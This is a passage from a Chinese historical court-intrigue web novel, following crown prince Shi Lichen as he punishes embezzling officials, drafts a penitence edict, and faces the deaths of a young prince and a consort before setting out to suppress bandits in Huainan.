或许是得到月商生起内乱的消息,鞑靼整合军队,挑了最近的津阳城大肆进犯,房将军已调兵马前往镇压。 等消息传到师离忱手中时,双方已是打得不可开交,难分胜负。想想朝中还有伥鬼尚未拔除,他连夜给太傅去信。 至于北徐州一事必要速战速决。 …… 与此同时。 一只密信送达京都太师府。 老太师近来偶感风寒,轻轻咳嗽了两声,打开了密信,越看眉头皱得越紧,老而精明的眼睛里透出一股勃发的怒意,最后一拍案桌猛地站起,头晕眼花地缓了会儿,捂着嘴上气不接下气的咳着。 “去……去请族老!上祠堂!!” …… 翌日。 太师府内部都知晓,太师过继来的那位承爵世子,已被悄悄移出了宗族,此事在祠堂连夜查办。 听闻太师要将其除名时,族老们本欲反对,不仅仅是因太师膝下子嗣稀少,还因为这个过继来的孩子,是太师兄长膝下唯一留下的遗孤,若是按原先辈分,这世子得唤太师一生太爷爷。 可在听到所犯何时之时,所有族老都陷入了沉默。 那是足以诛九族的罪过。 谁能想到一向正直的太师,能养出这么个胆大包天的孽障,气得太师将人逐出宗族之后,便一病不起。 这位世子在朝中占了个工部都水监丞的官职,此次北徐州遭遇河患,被外派去处理灾情,尚不知已被太师除名。 此人被抓时,还喝得酩酊大醉,簪花着绿地趴在花娘的肚皮上,被按住了手脚,还一副张狂之相,大喊:“放肆!竟敢对本世子无礼!尔等知道我是谁吗?!” 淮安总兵不曾亲临,派遣了一名副将应召,肃目冷颜,率领一众随军将花船围堵了个结实。 “孤不知你是谁。”人群愤慨,师离忱缓缓走出,瞥眼冷冷道:“孤只知你死到临头。” 与此同时,一个血糊糊的人被拖了上来,是同样被调遣来管制河患的少师,一箱又一箱的,尚未被溶解重塑的官银被押解在岸边,或者也有被溶过的,它们都明晃晃的晒在阳光下。 被压到船头,看到那一箱一箱的银两,以及瑟瑟发抖的北徐州府,几番冲击之下,他陡然清醒。 * 飞书奏报。 太子抵达北徐州,短短半个月不到便破了灾银贪墨案,当场斩杀涉事官员大小主簿四十三人,当众处置,血染满地。 又查抄银钱,重整地方。 召周边医者治疫,以重金赏之,下特赦令,因灾祸被迫为寇为匪者,只要重新回乡登册,可既往不咎。 工部重新派人前来督造引水,抄家拨来的灾款以查籍形式分拨,以助于失去房屋的灾民重造房屋。 师离忱在北徐州忙碌足有两月有余,一切才得以平息。 事早已上报京都,经此一事,再无窸窸窣窣的反对之音。 有一些对大皇子复起的心思也被暂且按捺了下去。 …… 北徐州事态一切落定,师离忱便要即刻启程回京都。 还是同来时一样,他打算过水路回京。许惟一要随着师离忱一同走水道,被乐福安骂了两句,捏着鼻子又继续和随军同行。 在行船路上,师离忱收到柳清宁来信—— 诉状已齐,人证已确认。加上房家砚手里的东西,一切事物齐全,为秦家翻案平反的线索已然就位。 回京路上并未有波折,只听闻走陆路的随军被不肯就范的匪寇袭击,好在不算凶险,被当场缉拿。 才至京都,师离忱又收到秘密圣旨——陛下祭祀遇险,特令太子殿下监国,由太师辅政。 师离忱去了一趟帝王寝殿,简单探望了躺在榻上的皇帝。 回东宫后,他净完手,手中帕子擦拭着水珠,平静道:“这次刺杀是真的,伤得不轻,在肺腑,太医令说……他一时半刻难醒。” “殿下打算如何?”乐福安应着,眼底划过一丝冷意,“可要提前……” “不。”师离忱道,“孤尚且年幼,父皇若死,孤这位置未必稳当,孤是不高兴,有人敢擅自动手。” 失控感。他很厌恶这种感觉,“弄清楚,到底是谁。” 乐福安应下,又道:“房将军上奏,津阳城大捷,鞑靼人已被击退,短时间内恐怕不敢再犯,上书有为二子房家砚请功,此番战役此人功劳甚大,十分了解鞑靼战术,追击鞑靼逃军追出足有十里,太师问您的意思是……” “调传召入京,听候封赏。”师离忱躺下,手背盖住了眼,轻声道:“赶早不赶晚,是时候给秦将军平反了。” * 等待多年的秦家军队,终于等来了他们的明月。为无数枉死的秦家军在房家砚入京,高举血书那日,被洗刷了冤屈,自此不再背负叛国之名。 同日。 皇帝下书罪己诏。 陈述了多年来的灾异,引咎自责。 昭天听治下不严,叫伥鬼贪官做怪,清廉蒙冤。 昭赏罚不公,继位以来天下愁苦,愿大赦天下。 万方有罪,罪在朕躬。 罪己诏一出,让原本被激发出的多方民愤平息,重获民心。 只不过这罪己诏……非皇帝本人颁布。可旁人不知,只以为皇帝在养伤之时,自省自反,颇感欣慰。 师离忱一笔一字书写罪己诏时,太师曾从旁劝慰,“太子殿下可要在思量思量?”他委婉道,“陛下身子康健,太医令曾说过不了多久陛下就会醒来,届时……” 罪己诏,任何一位君王若非紧急时刻,都不会下这类诏书。 他关乎一个帝王的尊严,威信,相当于皇帝拉下面子,和天下百姓道歉。 只怕皇帝接受不了。 师离忱朱笔恰好写至“罪”字,他平静道:“父皇登基那两年偶遇干旱,今年又遇黄河天灾,本就民心不稳,贪官血染北徐人人目睹,这厢又听闻当年保家卫国的秦军又蒙受冤屈数年,你猜边关得到此讯,是否会感心寒,以至边防摇摇欲坠?” 他言辞冷道:“此昭必下。” 稳的是民心,是军心。 太师自是明白这个道理,默了默,道:“殿下远瞻。” 这位半大的太子殿下,比起陛下,似乎要更有魄力的多。 …… 果不其然。 师明渊苏醒不久,便得知此事,当即勃然大怒呕出了一口淤血,召见太子与御书房。 “你好大的胆子!也敢替朕拿主意?!”师明渊面色尚且苍白,还留有病痛折磨,指着跪在下首的师离忱,眯着眼睛半响说不出话。 师离忱低敛着眼,神情不见波澜,平心静气道:“父皇重伤未愈,切勿动怒。” “朕还没死!”师明渊重重咳了两声,喝道:“还轮不到你这个毛头小子来踹窝!罪己诏,那是历代昏君才下的,你也敢替朕拿主意?!朕殚精竭虑,倒成了月商有史以来第一位下罪己诏的君王,你叫朕怎么下去见太祖?!” “啪!” 茶盏砸在了师离忱脑袋上,他不避不让,血从额角滑下,他抬首看向师明渊,语调忽然提高,“正因如此,父皇才该下罪己诏!攘外安内,如今月商内患不断,外有敌军虎视眈眈,若不稳住万众一心,只怕要天下大乱!” 话音落下。 空气有一瞬凝滞。 师明渊一怔,缓缓眯着眼,仔细端详起太子。 果真是长大了。 太子肃着脸不苟言笑的模样,像极了他外祖,那把子力气也像,听闻当年高祖帝尚未及冠就能扛起一个大鼎…… 师明渊倏地笑了一声,那股气消了。 只是这孩子性情还是太软,魄力相当,磨炼不足,身为太子,尤其是一个站稳脚跟的太子,是不需要向旁人解释太多。 哪怕。 他是他的父皇。 * “皇兄!” 师离忱回东宫时已夜深,师朝旭早早等在这儿,见到师离忱身影便喜滋滋地迎上来,谁知靠近后,入目却是皇兄满头的血。 他顿时大惊失色,“皇兄这是怎么了!快快,召太医令来!” 师离忱揪住了他的后衣领,“嘘,小点声。”他道,“等会把那两个吵醒,免不了一顿啰嗦。” “晚了。”柳清宁手里端着药进殿,“殿下刚出御书房,便有宫人前来偷偷报信,快坐下让下官瞧瞧,伤得可深?” 师离忱无奈叹了一气,找个位置坐了下来,昂起脸露出额角上的伤。 乐福安抹了一路的眼泪,好不容易缓过来些,仔细一瞧那伤口,刚刚成型的狰狞血痂像个污点似的画在殿下精致白皙的面容上,顿时眼泪掉得更凶了。 师朝旭心疼道:“皇兄……疼不疼?吹一吹。” 柳清宁礼貌道:“八殿下,您往旁边走走,挡着下官了。” “喔喔。”师朝旭只好委屈地往旁边挪了挪。 师离忱懒洋洋地拖着下颌,不想听唠叨干脆闭上眼睛假寐。 待处理好伤口,柳清宁叹道:“殿下,该躲一躲的。” “他总要出口恶气。”师离忱不在乎道,“毕竟是日后会被写进史册的臭名。” 柳清宁噎了一下,又叹了一气。 乐福安见差不多了,赶紧把人赶走,伺候着殿下洗漱,师朝旭赖着不走,也要一起。 师离忱随他去。 谁知掀开被褥,里头藏着个软软糯的小包子,眼睛像是两颗葡萄,不知在床榻里藏了多久,被褥一掀开,就眨着眼看过来,一笑上牙还缺了两颗,舞着手里的布老虎,“皇兄,皇兄!” 他爬起来,布老虎递到师离忱面前,笑嘻嘻的,口齿不清地道:“八哥说,惊喜!” 外头。 隐约听到兵荒马乱之声,宫人四处奔走,大呼—— “不好了,不好了,十一殿下丢了!” 而十一殿下本人。 躲在东宫的榻上,笑着两颗缺牙,眼睛亮亮的,笑得像个傻子。 师离忱:“…………” 乐福安尖叫:“哎呀!十一殿下!完了完了,皇后娘娘一定急死了!快!快差人去报信,再去唤贵妃娘娘!” 第100章 师朝旭的异想天开,成功的让他自己品尝到了来自贵妃的痛击。 当着皇后娘娘的面,用戒尺抽了三十下屁股,哭得泣不成声。 皇后抱着十一皇子,可乐贵妃已经表了态,她自然不好再说什么,毕竟也只是来找自家兄弟一同玩乐。 小十一也明白做错了事,委屈地拉了拉皇后的手,细声细气道:“母后……母后,是我想和皇兄玩的。” “好了。”皇后呵止了乐贵妃,“小孩子家玩闹,下不为例。” 乐贵妃道:“多谢娘娘宽恕。” 皇后回首看了眼师离忱,意味不明的冷哼一声,扬长而去。 小十一爬在母亲肩头,朝着师离忱天真挥手。 师离忱嘴角弯了弯,也朝他挥了挥手。小十一笑弯了眼。 皇后走了,乐贵妃自然也松了口气,有些心疼地拉起被打得抽泣变形的师朝旭,“不是说了叫你离十一殿下远些,你倒好,把人从中宫拐带出来了,好大的本事。” “小十一自己说,自己说要和我一起来找太子哥哥玩的。” 师朝旭抹着眼泪,“阿娘明明也同意我来找太子哥哥……” “还敢狡辩!”乐贵妃点了点他的脑袋,“本宫同意你找太子殿下玩闹,可没同意你去教唆十一殿下偷跑……” 说话间,乐贵妃叹了叹,收敛神色对一旁的师离忱道:“让殿下见笑了,倒是给殿下添了麻烦。” 师离忱含笑道:“自家兄弟,算不得什么,乐娘娘快带小八回去瞧瞧吧,莫打伤了。” “多谢殿下。”乐贵妃微微颔首,牵着一瘸一拐的师朝旭离开东宫。 回去路上,师朝旭还在抽抽噎噎,别扭的不想和乐贵妃说话。 到了半道,忽然听乐贵妃说,“旭儿,你一定要个你这个哥哥,好好相处。” 师朝旭原本还赌着气,闻言抬头道:“可是旭儿和太子哥哥,本来就很好,只是兄长老爱捉弄我……” 不一样的。 傻儿子。 乐贵妃眉眼间闪过一丝愁绪,摸了摸师朝旭的头,终究没把话说的太绝对,只温和道:“那就一直和你的太子哥哥这样相处下去吧,别污了这份情谊,日后……你有难处了,哪怕你不说,也会帮帮你,所以要一直和他站在一起,听懂了吗?” 师朝旭不太理解其中含义,但此时此刻他记下了母妃所言,“儿子记得了。” …… 与此同时。 小十一凑近皇后耳边,小声地问:“母后,我还能找太子哥哥玩吗?” 皇后神色顿了顿,尽量让语气听起来不那么僵硬道:“为何有此一问?” “因为母后好像不是很喜欢太子哥哥。”小十一悄悄道,“但是我很喜欢太子哥哥,他好厉害。” 说到此处,小十一终于掏出一个一直揣在怀里的鲁班锁,是个非常精巧的模型,他两只手捧着刚刚好,递给皇后看。 “母后看,这是太子哥哥送给我的,太子哥哥解这个很快,我试了好久,却怎么都解不开,你说他厉不厉害?” 皇后面色复杂地看了眼那个鲁班锁,停顿了片刻,声音软了软,“好吧,母后许你偶尔去找他玩,最多只能有半个时辰。” 不等小十一反驳,她又道:“你太子哥哥也是很忙的。” 小十一这才作罢,眼睛笑得亮晶晶,吧唧一口亲在皇后的脸颊上,摇头晃脑道:“就知道母后最好啦!” * 世道和平,自然也就不再有那么多的事要忙碌。 房家砚已将姓名改回,他改了名字,堂堂正正地沐浴在阳光下,如今叫秦家军。 他拒了师离忱给他授封。 去送别那日,师离忱问他,“你打算往哪儿去?” 秦家军脸上少去了初见时的阴霾之色,叉着腰道:“殿下,我眼下可是整个秦家军,自然是要到处走一走,替父亲母亲兄弟们多看一眼,他们守卫的河山。” 顿了顿。他肃然道:“若是月商有用的上末将之处,还请殿下将此信物交给城西第十三家的当铺,末将定然竭尽全力,为国效力。” 师离忱笑道:“如今世道太平,穆家尚且还能领军,孤恐怕难见到你了。” “那便最好不过。”秦家军哈哈大笑,末了他拍了拍师离忱的肩头,“殿下,再会。” 师离忱颔首,目送秦家军戴上斗笠,纵身骑马出城。 真是潇洒。 师离忱又回到了从前一样的日子,站在朝中能感觉到旁人投来的目光,多出了几分敬畏,也有忌惮。 好在在东宫时的日子还算平静。 却也没能平静多久。 每当师离忱觉得这么过下去似乎也能接受之时,天上总会泼来冰水。 小十一没了。 没在从东宫回中宫的路上。 守在身边的宫女太监们都被支开了,他们说,小十一的鲁班锁掉了,责令他们找。 贴身女官,则是被东宫的一个小宫女引走,说是东宫还有东西没让十一殿下带走。 十一殿下闹着要,女官只好回东宫去取一趟。 女官刚到东宫,说明来意,就见太子变了脸色,往湖亭跑。 宫女太监们已然跪了一地。 走出东宫时还活蹦乱跳,白白净净的小十一,被湖水完全浸湿了。 头发乱糟糟的,唇色发紫脸色苍白,鞋也丢了,眼睛闭着一动不动。 也没有呼吸。 女官惊愕,瘫倒在地,不可置信喃喃道:“十一……十一殿下……” 皇后来得很快,几乎是不顾礼节,扑上去抱住了小十一,“别怕别怕,母后来了……小十一手怎么那么凉啊,母后帮你暖一暖,快睁开眼瞧瞧母后啊……” 她声音发颤,抱着小十一泣不成声,忽然看到一旁发楞的师离忱,骤地眼神变得凌厉,仇恨,“是你,是你……是你害了本宫的小十一……” “你去陪他!!”皇后咬着牙要冲向师离忱,被乐福安及时拉住。 乐富安道:“娘娘冷静,事有蹊跷,还请查明!否则十一殿下就算是去了也不安心啊!” “狗奴才!”皇后狠狠甩了乐福安一巴掌,双目充斥着血丝,喝道:“轮得着你来教训本宫?!小十一是睡着了,他没死!给本宫宣太医!太医!!” 师离忱站在那儿,任由他们吵啊闹啊,都没什么反应。 他的视线只停在了小十一身上,脑袋昏昏沉沉,有些发晕。 小十一今年几岁? 喔。 再过三个月,就要满九岁了。 那个叽叽喳喳,喜欢跑来东宫找鲁班锁玩的小十一,再也睁不开眼睛了。 师离忱忽然觉得喘不上气,微微张唇,声音沙哑:“查。” 少年如从冰窟般浸出,散在空气中,飘着一股寒意。 “给孤查一查,查到了……” “杀。” * 皇后不信任师离忱,如今是草木皆兵。 皇帝以亲王礼厚葬了小十一,甚至于格外宽厚的让小十一以夭折的太子规格,让其在中宫多停灵七日。 以常规,非帝王驾崩太子夭折,是不能在宫中停灵。 七日。 可以查到的东西太多了。 首当其冲被查抄的是后宫嫔妃,皇后没放过任何一个妃子,她恨所有人,也恨所有有皇子的人。 在那些有子嗣的妃嫔宫中,查得格外仔细。 师离忱却从微末下手,身为皇后所点,照顾小十一的贴身女官,怎会如此放松警惕,被东宫的一个小宫女引走。 这偌大的宫中,宫女和太监是最多的,想做点手脚,串通点关系,还不简单吗? 乐福安在盆中净手,盆里是刚洗出的血水,查出的证据,共速,已经送到了师离忱面前。 所有的矛头都指向一个人—— 圈禁在宫外,在府中只能看着四方墙院的大皇子。 哈! 讽刺。 大皇子是先皇后所生,先皇后与如今的继后是血脉相连。 小十一一死,继后没了嫡子指望,要么再过继一位皇子,要么……扶持他重新走出府邸。 师离忱低着眼,总觉得事情没那么简单,预要说些什么时,听到廊道传来咚咚咚奔跑的声音。 已长成少年模样的师朝旭,脸上全是泪痕,扑通一下跪在了师离忱面前,“太子哥哥,求您,求您救救我母妃!!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 一路疾走。 师朝旭哭得稀里哗啦,说话也颠三倒四,师离忱干脆把人拉起来,先往贵妃宫中赶去。 半道上,他总算从一直侍奉师朝旭的大宫女口中,得知了来龙去脉。 “自打十一皇子出事后,皇后娘娘便命人将我家娘娘宫中围了起来,御膳房的饭菜也只能送至门前,不许我家娘娘宫中有人外出。” 大宫女语速飞快,“谁知昨日夜里,有禁军听到响动,说是瞧见一道人影从娘娘殿中翻了出去。这简直是无稽之谈,门前被他们把守得如此严苛,哪里能有人能随意进出,荒谬!” 但皇后相信。 她不但信,甚至还在这等基础上大做文章,将贵妃宫中侍奉的一干人等都押解起来严刑拷问。 贵妃宫中如今乱做一团,也就是趁着这个机会,师朝旭才有空子带着贴身宫婢溜出来求救。 大宫女原本口中还在叙述现场情形,无意间抬头,瞳孔骤然紧缩,声音陡然变了调,指向半空:“那……那……那里……” 师离忱随她指的方向看去,滚滚浓烟正冲天起,宫道上往来的宫人也注意到了,慌里慌张道:“不好,走水了!走水了!” 四处奔走提桶,“贵妃宫中走水了,快!快!” 师离忱预感不妙,顿时加快脚步。头也不回地吩咐道:“福安!你带上小八!孤先过去!” * 火是从主殿燃起的。 殿门紧闭,无数宫人在殿前哀求,“贵妃娘娘,求您出来吧!”同时也不停用水去浇已经被烈焰包裹的窗。 火势燃得很快,以一种极为决绝的态度,将整个主殿都纳入范围,冲天也灼人。 师离忱赶到之时,见到的是在火焰前面色惨白的皇后,以及神情难看漠然的师明渊。 师明渊冷瞥一眼皇后,“朕念你丧子之痛,你这几日将后宫搅得天翻地覆,朕也不曾苛责。瞧你干的好事!” “陛下息怒。”皇后摇摇欲坠,颓然跪地。 师离忱默默上前行礼,抬眼看望殿内,火势已然不可挽回,易燃的木材碰上火苗宛若流水知音,浇上去的水如同杯水车薪,毫无作用。 又见宫人们跪了一地。 乐贵妃……还在里面。师离忱转身夺过身旁路过太监手中的水桶,猛地一下从头往下浇过。 “师离忱!”却听一声怒喝。 师明渊注意到他的动作,眼底浮出一丝愠色,“给朕站在那儿,不许妄动。” 师离忱怔道:“可是乐娘娘……” “她找死,那就让她死。”师明渊语调冷得似冬日的冰碴,一下一下地刺人,令道:“都不许去,既要自焚,便给朕烧个干净!” 难怪无人闯入殿中,难怪大火烧得这般快速……一切都是放任为止。 此时。 堪堪赶到的师朝旭,脱力地扶住门沿,他恰好听到皇帝所说的最后一句话,看着那大火燃烧,眼中满是惶恐茫然。 …… ………… 火势未被浇灭,却被控制在了贵妃宫中的主殿范围,并未牵连到其他地方。皇后被罚禁足一月,宫人对此讳莫如深。 师离忱回去把湿透的衣裳换了,打算去把师朝旭接到东宫来,以免他总触景生情…… 但先来的是大监。 大监道:“太子殿下安好。陛下唤您去御书房,有事相商。” “……” 前脚刚发生件命案,师离忱不觉得这会儿过去有什么好事。 正如他所预料。 御书房。 大监送师离忱进去后,便候在殿外,关上了殿门。 殿内只有师明渊和师离忱二人。 “老八不是朕的血脉。” 师离忱听到上首传来这么一句话,乍然抬眸,“……什么?”他甚至怀疑自己的耳朵是否出错。 师明渊靠坐龙椅之上,神情毫无变化,审视地翻阅手中奏疏,无意解释更多只冷冷道:“照祖制,八皇子及其母族都该处死,但……现在朕把这个决定交给你。” 他眼皮抬起,半张面容藏在光影中,声音轻飘飘地荡在空气里。 诡谲中低沉阴森——“杀,或是放,都随你。” 静谧中。 隐藏着难以察觉的压迫感。师明渊身躯微微前倾,凝视着他的太子,眼底似一汪不可测的深渊。 他在等待一个答案。 足够满意的答案。 然。 只过片刻,他便听到太子道:“此事知情者无几,便不杀。知情者诸多,则杀无赦。” “喔?”师明渊兴味道,“太子何解?” 师离忱道:“知情者诸多,此事不可瞒,挡不住流言蜚语,自要肃清根源,以保皇室威严。可若知情者无几,此事可藏。” “儿臣已有十三年岁,八皇子与儿臣仅仅相差一岁,心智纯善无多余心思,况且宫中已培养他多年,何不再留几年,届时他也可为朝廷,江山出力。” 师明渊哼笑道:“你当真如此想?” 师离忱道:“是。” 师明渊道:“若他因乐贵妃之死,迁怒于你,生出野心,再过两年也无法做朝中栋梁,你又作何解?” “儿臣会杀了他。”师离忱抬首,面无表情道:“父皇曾教过儿臣,不可与人太过亲近,不可留软肋,即便亲近也要留三分余地。儿臣以为三分太少,自留七分。” 师明渊指腹在书案上轻敲,“是吗?那么,你在贵妃宫中,又为何做出那般模样。” “父皇,儿臣不只是太子。”师离忱开口。 少年嗓音已过变声,嗓音带着一股冷调在御书房响起,“在旁人眼中,儿臣也是八弟的兄长。贵妃宫中人多眼杂,儿臣自要做到兄长该做的,是为仁善。” 话音落下。 殿内沉默须臾。 倏地,师明渊含带笑意的声音传来,“不愧是朕一手栽培出来的太子。” 他看着师离忱的眼神,不像看一个儿子,更像是在看一个满意的,已经完全成形的作品。颔首道:“那便依你所言,且不杀。” 顿了顿,他朝殿后道:“出来吧。” 师离忱心头顿跳,抬眼间,瞧见从殿后缓缓走出的师朝旭。 那个心气骄傲的,欢欢喜喜的少年,宛若被抽走了脊骨,面色灰败眼神黯然地慢慢在师离忱师离忱身前俯拜。 “……多谢太子殿下开恩。”他声音沙哑虚弱,“臣弟日后,定当尽心竭力,不负殿下恩典。” 师离忱低敛着眼眸,看着弟弟完全展露的后脑勺,只有额头已经全部紧贴到了地面,才能展现出如此圆润的后脑。 但他不能动。 不能去搀扶,不能触碰,只能平淡地说一句:“不必言谢,你我兄弟一切如常便是。” 目光余光处,师离忱感觉到来自上首师明渊恶趣横扫地视线。俨然是刻意为之,引导。 哪怕那些话只是迂回之策。 走到这一步,就算解释了,兄弟间也难免会有隔阂。 皇帝就是要把所有的一切都摊开,明明白白的展现在师离忱面前,告诉他的太子——孤家,寡人。 太子没有兄弟。 太子就是要利用所有,掌控所有,才能护住他想护之人。 * * 当夜。 师离忱蜷在被窝中,思索起小十一坠湖查出的线索。 忽地察觉到被角被动了动,他以为是乐福安,并未翻身过去,道:“……孤今晚不吃宵夜。” 停顿片刻。 “福公公出去了。”一个刻意压低的气声响起,惊得师离忱猛然坐起,借着月色看清已经半个身子钻进被窝的师朝旭。 师离忱:“……” 师离忱:“你怎么来了?” “明明是皇兄叫福公公接我来的。”师朝旭自顾自上榻,扯着师离忱躺下,闷闷道:“皇兄,我很难过。” 师离忱叹了一声,把被子多分了他些。东宫的床榻足够宽敞,哪怕是躺两个少年郎中间还空着一大截。 “你不记恨皇兄白日说的话吗?”师离忱轻声问。 师朝旭道:“哥哥,我十二了。” 他平静地说,“我也在国子监上学,也看策略,也被祭酒指点。我分得清什么是形势所迫,什么是真心……” 师离忱默不作声。 师朝旭声音逐渐哽咽,“但我不明白……母妃陪他那么多年,当真一丝一毫的情分也没有吗?” “以前我就觉得,父皇待我们冷淡,今日亲眼所见,我只有一个问题。”他扭过头看向师离忱,“他似乎从未将我们的关系,放在父子上。哥哥,一路走来你一定很累。” 他今日所窥见的,不过是身为太子的兄长,平日所面对的冰山一角。 师离忱叹了一声,扯了块帕子丢到师朝旭脸上,“别哭了,擦擦眼泪,掉枕头上了。” 月色寡淡,可即便是借着那点寡淡的光,他都能看到师朝旭脸颊上的反光了。可见哭了多少眼泪出来。 师朝旭吸吸鼻子,沉闷道:“母妃走了,我只有兄长了,不朝你哭朝谁哭。” 师离忱默了默,忽而笑了一下,“傻子。” 傻子气闷地翻了个身。约莫半刻后,师离忱道:“乐贵妃后事你不必担忧,规格制度还是会按照位份,会给贵妃母家一个尊荣。你的身世只有父皇知晓,皇后没查到证据,不会再这之上继续做文章。” 至于师朝旭的生父…… 师离忱捏了捏手指。 却听师朝旭语气坚定道:“父皇定不会轻饶了他,该杀即杀,只是诏狱刑罚残忍,若有条件给他个痛快吧,哥哥不必考虑我。” 师离忱闭了闭眼,“……嗯。” “……” 第102章 死了个皇嗣,没了个贵妃。 在宫中只不过是旁人口中的谈资,丧事后事都办完了,撤了白幡,仅仅半个月便无人再提起这两件事。 似乎从未发生过。 但那一场大火并未烧断皇后的念想,她在沉寂,沉默中,逐渐走向极端,她憎恨所有人,师离忱为首当其冲。 凭何她的小十一落水,他还能安然无恙的做太子?她不甘心。 穆家在京都地位斐然,她想煽动朝中一些人的野心,太简单。唯有穆将军夹在其中左右为难。 约莫半年不到。 御史台上书,提议叫大皇子将功补过,毕竟年纪尚轻,该有将功补过的机会。大皇子被召见后,一番忏悔的痛哭流涕,又表明识人不清的错处,似乎让帝王软了心肠,不再将他圈禁。 没了十一以后,大皇子又被放出,皇后已然将大皇子当做最后的救命稻草,不有余力的辅佐培养。 她对大皇子,全然是真心当做了自己的子嗣,心情好了,也就不再多番为难宫人们,面对师离忱时也不再横眉冷对,颜色说不上有多好,至少明面上过得去。 …… 东宫。 一封密信被点燃,火苗在师离忱眼底微微跳动,他阖了阖眸道:“此事勿要叫皇后知晓。” 乐福安颔首:“奴才晓得。”停顿片刻,他道:“陛下似有意叫大殿下重新回朝中,殿下可要……” “盯着他。”师离忱罢手,坐下提笔,“无需多做其他,母妃近来过得如何?可好些了。” 提起纯妃,乐福安嘴角地笑都变平凡,“如从前一样,尤其近两年来偏爱木刻……殿下还是不看的好。” 师离忱嗯了声,问:“母妃现下可在千秋殿?” 乐福安道:“陛下将娘娘带去了观星台。” 观星台位置好风景好,有些时候纯妃站在上头,看到广阔风景,或许会露出一丝笑颜。 或许是为了这难得的笑与温和,皇帝近些年总带着纯妃去观星台。 乐福安心中恶意满满,巴不得这两个祸害他家小殿下的贱人从上头掉下来摔死,免得总伤他家小殿下的心。 听闻此讯,师离忱打消了去见纯妃的念头,左右见到也不知该说什么话,也没什么好见的。 他敛眸,在纸上写上最后一字。 * 露往霜来,春秋置换。 大皇子得了皇后助力,重回朝中,又渐渐得了势。大皇子虽未查明当年真相,他确确实实是冤枉,他哪有那个胆子去刺杀父皇。 被圈禁的那几年,他百思不得其解,可某一天他忽然就清醒了。他和四弟相继倒台后,谁得益? 被立太子的小六。 年幼,却被扶持上了太子之位,又很顺利的立威,得名,成了名正言顺的太子稳坐东宫,再也无人质疑。 是谁搅动的这摊池子? 是父皇。 自想透彻之后,大皇子由衷的感到心底发寒,夜半时分躺在榻上,明明是夏日却手脚发凉。 父皇怎如此狠心,就为了一个妃嫔之子,把他们当做玩弄与鼓掌的棋子,想拨弄就捧上天,想踩碎就捏死。 他恨父皇,他不敢表露。 但他可以把矛头对准父皇看准的太子。 他迟早会废了那小子,他要让那头老眼昏花的老龙看清楚,到底谁才是真正该被扶持的人! 蛰伏,等待。 机会很快便来了。 …… ………… 东宫。 兵刃交接,长剑翻飞挑走了穆将军手中兵刃,师离忱扬眉道:“穆将军,这回是孤赢了。” 穆将军哈哈大笑擦汗,“殿下功夫到位,老臣已无可教之地了。”他接过宫人递来的茶水,猛地喝了几口,说道:“听闻殿下即去江南?” 师离忱颔首,帕子擦去额角的汗,含笑道:“淮南地处闹匪患,孤请缨前往剿匪。” 还有一点他并未说,从淮南再往南下的江南,盐税似乎出了些问题,京中账目看似没多少问题,细究之下却能发现,江南那处官员没少索要盐引。 那么多盐,给谁吃?百姓吃得完吗? 巡盐御史已先行一步前往,他剿匪过后还要往江南去一趟。 穆将军叮嘱道:“路上多艰辛,殿下一路小心。” “殿下!”许惟一在廊上呼唤,师离忱转眸看去,他怀里竟然抱了十几把剑来,噼里啪啦往地上一丢,跃跃欲试道:“殿下快瞧瞧,这次去剿匪,臣带哪几把去比较好?” 师离忱:“……” “歘!” 许惟一随便挑了一把拔出,“这把!名师开刃!”他又“歘”拔出另一把,“这把!玄铁所造!” 师离忱上前,微笑着接过他的‘名师开刃’和‘玄铁所造’,一手拿着一把,在手中掂了掂。 “铛!”两剑左右相撞。 在许惟一震惊的目光中,两把绝世好剑从碰撞处碎开,噼里啪啦掉了一地。 围观的柳清宁,默默道:“又买废物。” “你不说话没人当你是哑巴。”许惟一伤心地看着那堆铁块,气得咬牙切齿:“该死的行商,又骗我!” 师离忱耸了耸肩,淡然接过乐福安递来的茶水,招呼着穆将军坐下歇息。 乐福安笑眯眯道:“许少爷,不是奴才说您,前头半个月,您才买了一串水泡过的发光石头,这才几日,又上当,多少钱财也经不起您这样花。” 柳清宁平静道:“他还欠我五十两。” 许惟一嘀咕:“别念了师傅……又不是不还,你等着,等我发俸就还。” 师离忱捧着茶盏,头也没抬似是不经意道:“孤记得,你好像提前预支了半年的俸禄。” 柳清宁这会儿字也不写了,转头黑沉沉地盯着许惟一,许惟一捡剑的手顿住。 气氛陡然凝滞片刻。 许惟一猛地窜起,拔腿就跑!柳清宁抽出戒尺,面无表情地追上。师离忱低头扑哧笑出声来。 穆将军摇了摇头,看着长廊上追逐的二人,啧啧道:“还是年轻,不够沉稳。” 这场闹剧以许惟一挨了两戒尺作为收尾,他龇牙咧嘴地捂着手心,抱怨道:“瞧你这小气劲。” 小气的柳清宁瞪了眼许惟一,“去淮南的时候多注意,殿下如今身边危机四伏,谁知道会遇见什么,你最好多长两个眼睛。” 许惟一耸了耸肩,“成成成,就你知道。” 在闹声中,一切早已被收拾好,乐福安催促道:“该走了!” 许惟一扬声,“来了。”他随口叮嘱柳清宁,“你在京都也仔细些,可别中了旁人的计。” “嗯。”柳清宁淡淡应下,目送许惟一上了车。 * 淮南水匪山匪皆有, 其中闹得最厉害的是水匪。往来行船皆提心吊胆,生怕遭难。走山路也不安全,搞得人心惶惶。 剿匪不难,并非苦差。毕竟这些‘匪’,只是一群亡命之徒,以饵钓之,两面夹击,自然溃散。 早在京都动身时,师离忱便安排了人先行淮南,所谓知己知彼,调查清楚减少伤亡是必要。 这帮山匪水匪来得蹊跷,如今天下太平,为利成寇未免太不划算。 既要钓鱼,抛饵也要讲究技巧。 师离忱先叫人先放出消息,号称域外有行商载珠宝前来江南,先用一只商船作为开道,上面皆为外来行商。 商船停靠码头歇脚,需给船舱填补物资,不过商船上的水手都去稍作休整,便从当地铺子里请了个小厮往船上搬运物品。 许惟一站在船头,作为这座商船的押运护卫,一脸警惕地盯着小厮。在小厮抬头时,他昂声警告:“不许乱瞧!” 这番紧张的作态,更加坐实其船上物品珍贵。小厮唯唯诺诺地低头,连连称是,眼底划过一丝精光。 待到夜间。 有两人摸黑,偷偷潜上了停靠岸边的商船,绕过巡逻的侍从们,瞧见了藏在船舱底部房间里,一箱一箱的异域珠宝。 “发了,发了!”水匪压低气音道,“这票干完,兄弟们日后都不必为生计烦扰,是个大肥羊!要不要叫兄弟们现在就过来?” “先别急着动手。”旁边另一个水匪道,“先待他们明日上路,在水域中央才好动手,莫被迷了眼。” 二人对视一眼,确认了想法便要撤离。 